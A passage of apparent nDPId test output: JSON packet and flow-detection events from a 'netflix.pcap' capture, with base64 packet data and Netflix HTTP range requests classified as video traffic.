gExeyCAAAAAAABArQExeyCAAAAAAABCrwExeyCAAAAAAAAntAExeyCAAAAAAAAe9wExeyCAAAAAAAAw2AExeyCAAAAAAAA3DgExeyCAAAAAAABBiAExeyCAAAAAAABJKgExeyCAAAAAAAAwrgExeyCAAAAAAAAiwQExeyCAAAAAAAApvwExeyCAAAAAAAA23QExeyCAAAAAAACgjAExeyCAAAAAAACiCAExeyCAAAAAAAC8VgExeyCAAAAAAADERQExeyCAAAAAAAC1hQExeyCAAAAAAADHuAExeyCAAAAAAACyLwExeyCAAAAAAAChJAExeyCAAAAAAACf9QExeyCAAAAAAACnsgExeyCAAAAAAAA8qgExeyCAAAAAAAAb0wExeyCAAAAAAAAn4wExeyCAAAAAAAAbwgExeyCAAAAAAAAyHAExeyCAAAAAAABTmQExeyCAAAAAAACVvAExeyCAAAAAAACPjQExeyCAAAAAAACiEwExeyCAAAAAAACnTAExeyCAAAAAAACe6QExeyCAAAAAAACG2QExeyCAAAAAAACG1QExeyCAAAAAAACI5gExeyCAAAA="} +00427{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1261,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":278412,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0QtJAAEAGEsDAqAEHF\/YLjc+7AFDfu3VW4GtWFIAQEBXe3gAAAQEICh9lEL6zW2N6"} +00428{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1262,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":278683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0gLJAAEAG1N\/AqAEHF\/YLjc+4AFBql8CWf7tujYAQEBUowwAAAQEICh9lEL4UUCrA"} +00427{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1263,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":278896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0s8BAAEAGodHAqAEHF\/YLjc+6AFDVkM0Bidafe4AQEBVZ9gAAAQEICh9lEL5NgQ3s"} +00428{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1264,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":279100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0AZpAAEAGU\/jAqAEHF\/YLjc+5AFBMFfUFz2h9PYAQEBUYcgAAAQEICh9lEL40r6Zm"} +00428{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":279299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0fi9AAEAG12rAqAEHF\/YLhc+0AFDwxwt9ZwE6RIAQD9ge3AAAAQEICh9lEL81aY\/C"} +00910{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":281344,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"gCqoTGHM5JjWH70UCABFAAGaF7lAAEAGPHPAqAEHF\/YLjc+7AFDfu3VW4GtWFIAYEBXHgQAAAQEICh9lEMGzW2N6R0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFKSmlYTEJ1Z0dMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwUGZsSGhXQTRrVzlnYXlZRVd0ak5OS2Umdj0zJmU9MTQ4NDM0Nzg1MCZ0PUpxVGcwTmlBTkluNC1hUnduM3VLdFdkb1E3TSZyYW5kb209MTE0ODk3MDExNSBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjExLjE0MQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZSwgZ3ppcA0KVXNlci1BZ2VudDogbmV0ZmxpeC1pb3MtYXBwDQoNCg=="} +00931{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1266,"source":"netflix.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1484319056234,"flow_last_seen":1484319056281,"flow_tot_l4_data_len":506,"flow_min_l4_data_len":32,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53179,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQJJiXLBugGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThpPflHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=JqTg0NiANIn4-aRwn3uKtWdoQ7M&random=1148970115","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00906{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":292083,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"pkt":"gCqoTGHM5JjWH70UCABFAAGZMGVAAEAGI8jAqAEHF\/YLjc+6AFDVkM0Bidafe4AYEBWjdwAAAQEICh9lEMFNgQ3sR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFKSm1VTFJhakdMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwZmJsSGhXQTRrVzlnYXlZRVd0ak5OS2Umdj0zJmU9MTQ4NDM0Nzg1MCZ0PXplenJESkRRdmdPMlRpWUMxZFQzaW1INFFDOCZyYW5kb209MTY5NDY3MzA0IEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBkZWZsYXRlLCBnemlwDQpVc2VyLUFnZW50OiBuZXRmbGl4LWlvcy1hcHANCg0K"} +00930{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1267,"source":"netflix.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1484319056233,"flow_last_seen":1484319056292,"flow_tot_l4_data_len":505,"flow_min_l4_data_len":32,"flow_max_l4_data_len":389,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53178,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQJJmULRajGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThpfblHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=zezrDJDQvgO2TiYC1dT3imH4QC8&random=169467304","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00910{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":292112,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"gCqoTGHM5JjWH70UCABFAAGa65tAAEAGaJDAqAEHF\/YLjc+4AFBql8CWf7tujYAYEBXPLgAAAQEICh9lEMQUUCrAR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFKSnFUSVJxaEdMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwX3ZsSGhXQTRrVzlnYXlZRVd0ak5OS2Umdj0zJmU9MTQ4NDM0Nzg1MCZ0PVRuUDU5SkIxd2I1VVRPQ3IwbS1LUVUya0dQbyZyYW5kb209NDEzNDczMTQwMCBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjExLjE0MQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZSwgZ3ppcA0KVXNlci1BZ2VudDogbmV0ZmxpeC1pb3MtYXBwDQoNCg=="} +00931{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1268,"source":"netflix.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1484319056232,"flow_last_seen":1484319056292,"flow_tot_l4_data_len":506,"flow_min_l4_data_len":32,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53176,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQJJqTIRqhGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThp_vlHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=TnP59JB1wb5UTOCr0m-KQU2kGPo&random=4134731400","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00911{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1269,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":302728,"pkt_caplen":426,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":426,"pkt_l4_len":392,"pkt":"gCqoTGHM5JjWH70UCABFAAGcdGpAAEAG37\/AqAEHF\/YLjc+5AFBMFfUFz2h9PYAYEBXR6AAAAQEICh9lEMQ0r6ZmR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFJcHlUSUJHakdMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwX2JpQ0ZyVWpIV3FoNWlwUUN0emY0T1ZXUSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9OFo3OHZMMmk5T3ppaENBM00xTGluTVljTVk0JnJhbmRvbT0yMzg2NDc1ODM2IEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBkZWZsYXRlLCBnemlwDQpVc2VyLUFnZW50OiBuZXRmbGl4LWlvcy1hcHANCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1269,"source":"netflix.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":4,"flow_first_seen":1484319056233,"flow_last_seen":1484319056302,"flow_tot_l4_data_len":508,"flow_min_l4_data_len":32,"flow_max_l4_data_len":392,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53177,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQIpyTIBGjGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThp_biCFrUjHWqh5ipQCtzf4OVWQ&v=3&e=1484347850&t=8Z78vL2i9OzihCA3M1LinMYcMY4&random=2386475836","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00440{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":303302,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmoX9guNwKgBBwBQz7wVYmHmLePyuKAS\/\/9RBgAAAgQFtAEDAwkEAggKED1piB9lEJo="} +01121{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":303461,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"5JjWH70UgCqoTGHMCABFIAI6AABAADsGWGwX9guNwKgBBwBQz7YrOmTZQ6xmYYAQCAKWwQAAAQEICifYCWMfZRCbSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjU2IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNSBGZWIgMjAxNiAxMDo0OTozNCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0xNDM0ODQ5OTY5O2gxPTE2NzkwMzAyNTk7aDI9ODg3ODQzMjA4O2gzPTQwODQyNzcyNzc7aDQ9MzEyNzQ2MDg0NDsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE3NDthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KDQo="} +02366{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":303598,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +01122{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":306671,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"5JjWH70UgCqoTGHMCABFIAI6AABAADsGWHQX9guFwKgBBwBQz7VYH\/mro2YaRYAQCAIXVAAAAQEICi+QQFUfZRCbSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjU2IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogVGh1LCAwNiBBdWcgMjAxNSAwODo0OTo0MiBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0yMTUyNDYxMTY7aDE9MTQwNDMyNTczMztoMj0xNTU5ODI2NzA0O2gzPTE3MDc5MDAxNTQ7aDQ9MTEwODczNTEzNzsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE3MzthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KDQo="} +02366{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":311620,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00428{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":313756,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0DEJAAEAGSVDAqAEHF\/YLjc+8AFAt4\/K4FWJh54AQEBVvgQAAAQEICh9lENgQPWmI"} +00427{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":314030,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA01TNAAEAGgF7AqAEHF\/YLjc+2AFBDrGZhKzpsh4AQD9gOZQAAAQEICh9lENgn2Alj"} +00911{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1277,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":314229,"pkt_caplen":426,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":426,"pkt_l4_len":392,"pkt":"gCqoTGHM5JjWH70UCABFAAGcJw9AAEAGLRvAqAEHF\/YLjc+8AFAt4\/K4FWJh54AYEBUJcgAAAQEICh9lENoQPWmIR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFKNXlUTEJDa0dMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwXzNtQ0ZyVWpIV3FoNWlwUUN0emY0T1ZXUSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9cjVqdG5uRWNSOGhEQ2tQSW1mRWlXcVdBaktrJnJhbmRvbT0xODQ2MjM0NTI0IEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxD